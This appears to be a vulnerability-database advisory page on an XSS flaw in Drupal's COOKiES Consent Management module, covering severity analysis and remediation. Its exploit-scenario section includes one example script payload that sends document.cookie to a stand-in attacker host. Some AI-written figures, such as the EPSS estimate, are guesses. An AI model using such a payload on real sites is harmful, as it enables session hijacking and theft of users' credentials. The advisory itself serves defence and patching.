Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | CVSS 8.6 with AV:N/AC:L/PR:N/UI:N indicates severe attack accessibility: the vulnerability is remotely exploitable without authentication or user interaction, placing it in the High/Critical realm. The attack complexity is Low, meaning no special conditions are required. However, real-world risk assessment requires additional context: (1) EPSS data is not provided, but based on the attack vector and ease of exploitation, estimated EPSS would likely exceed 0.90 (very high exploitation probability); (2) KEV status unknown—if not in CISA KEV catalog, active exploitation may be limited despite high CVSS; (3) Stored vs. Reflected distinction matters: if Stored XSS, impact is amplified (affects all users viewing affected content); Reflected reduces scope to targeted phishing. (4) SSVC framework analysis: if exploitation is unproven (no public PoC), technical impact is High (C/I/A compromised), and patching is available, priority is High but not Critical. If exploitation becomes automated, priority escalates to Critical. The lack of authentication requirement and low complexity are significant aggravating factors, making this a genuine priority despite uncertainty around active exploitation. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL or form submission containing JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) targeting a parameter processed by the COOKiES Consent Management module, such as a custom banner text field or tracking ID. If Reflected XSS: attacker sends the URL to a victim via email or embeds it in a webpage; when the victim visits, the script executes in their browser, stealing session cookies or injecting a fake consent form to capture email addresses. If Stored XSS: attacker injects the payload via a poorly-protected admin form or public input field; every user who visits the site thereafter executes the malicious script, enabling large-scale session hijacking, malware distribution, or credential harvesting. No user interaction is required (UI:N per CVSS), and the attack succeeds against any unpatched instance. Realistic scenario: attacker targets a website using COOKiES Consent Management, injects malicious script into the cookie consent banner text field, and steals visitors' authentication tokens to perform unauthorized actions as legitimate users. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 14, 2026
Stored/Reflected Cross-Site Scripting (XSS) vulnerability in Drupal's COOKiES Consent Management module (versions before 1.2.15) that allows unauthenticated attackers to inject malicious scripts into web pages due to improper input neutralization. The vulnerability has a CVSS score of 8.6 (High severity) with network-based attack vector requiring no privileges or user interaction, enabling attackers to compromise confidentiality, integrity, and availability of affected sites. No active KEV or widespread public PoC data is available in standard vulnerability databases, suggesting limited real-world exploitation at time of analysis, though the high CVSS and ease of exploitation (AV:N/AC:L/PR:N/UI:N) warrant immediate patching.
RemediationAI
Immediate actions: (1) Update Drupal COOKiES Consent Management module to version 1.2.15 or later, which includes input neutralization fixes; (2) If immediate patching is impossible, disable the module temporarily or restrict access to configuration forms using Drupal permissions (limit to trusted administrators only); (3) Review and sanitize any existing user-provided data in the module's database (cookie settings, custom banner text) using Drupal's database sanitization tools; (4) Implement Web Application Firewall (WAF) rules to detect and block XSS patterns in parameters known to be processed by the module (e.g., consent banner text, tracking parameters); (5) Enable Drupal's Security Review module to identify additional input handling vulnerabilities; (6) Apply Drupal security best practices: use Twig autoescaping, leverage Form API's built-in sanitization, and conduct code review of any custom hooks or theme overrides. Patch deployment should be prioritized within 48 hours given the ease of exploitation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic XSS flaw where user-supplied input is rendered directly into HTML/JavaScript contexts without sanitization or encoding. The Drupal COOKiES Consent Management module (CPE: drupal:cookies_consent_management) fails to properly escape or filter input before displaying it in dynamically generated web pages, likely within cookie consent banner templates, configuration forms, or consent tracking mechanisms. Drupal modules leverage the Drupal Form API and theme rendering system; the flaw likely occurs in hook implementations (hook_form_alter, hook_preprocess_*, or custom theme functions) where user data from cookie consent settings, banner text customization, or tracking parameters is passed to render arrays without using proper Drupal sanitization functions (e.g., Html::escape(), Xss::filter()) or Twig autoescaping.
Know when Cookies Consent Management gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal COOKiES Consent Management allows Cross-Site Scripting (XSS).This issue affects COOKiES Consent Management: from 0.0.0 before 1.2.15.
Executive ViewAI
A Cross-Site Scripting (XSS) vulnerability in the Drupal COOKiES Consent Management module (versions before 1.2.15) allows attackers to inject malicious scripts that execute in users' browsers, potentially compromising user sessions, stealing credentials, or defacing website content. Organizations running affected versions face immediate risk of user data exposure and reputational damage, particularly if the module processes sensitive consent or cookie data.
Deploy Web Application Firewall (WAF) rules to detect and block XSS patterns targeting Drupal cookie consent endpoints; restrict module configuration access to trusted administrators only via network segmentation; disable the COOKiES Consent Management module if functionality is not critical until patch is available; implement Content Security Policy (CSP) headers to mitigate XSS payload execution; enable audit logging on all cookie consent configuration changes; consider temporary alternative consent management solutions if available.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Cookies Consent Management
View allCross-Site Scripting (XSS) vulnerability in Drupal's COOKiES Consent Management module that allows unauthenticated remot
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal COOKiES Con
EUVD-2025-18289
NVD
CVE.org
EPSS
GitHub PoC
Exploit-DB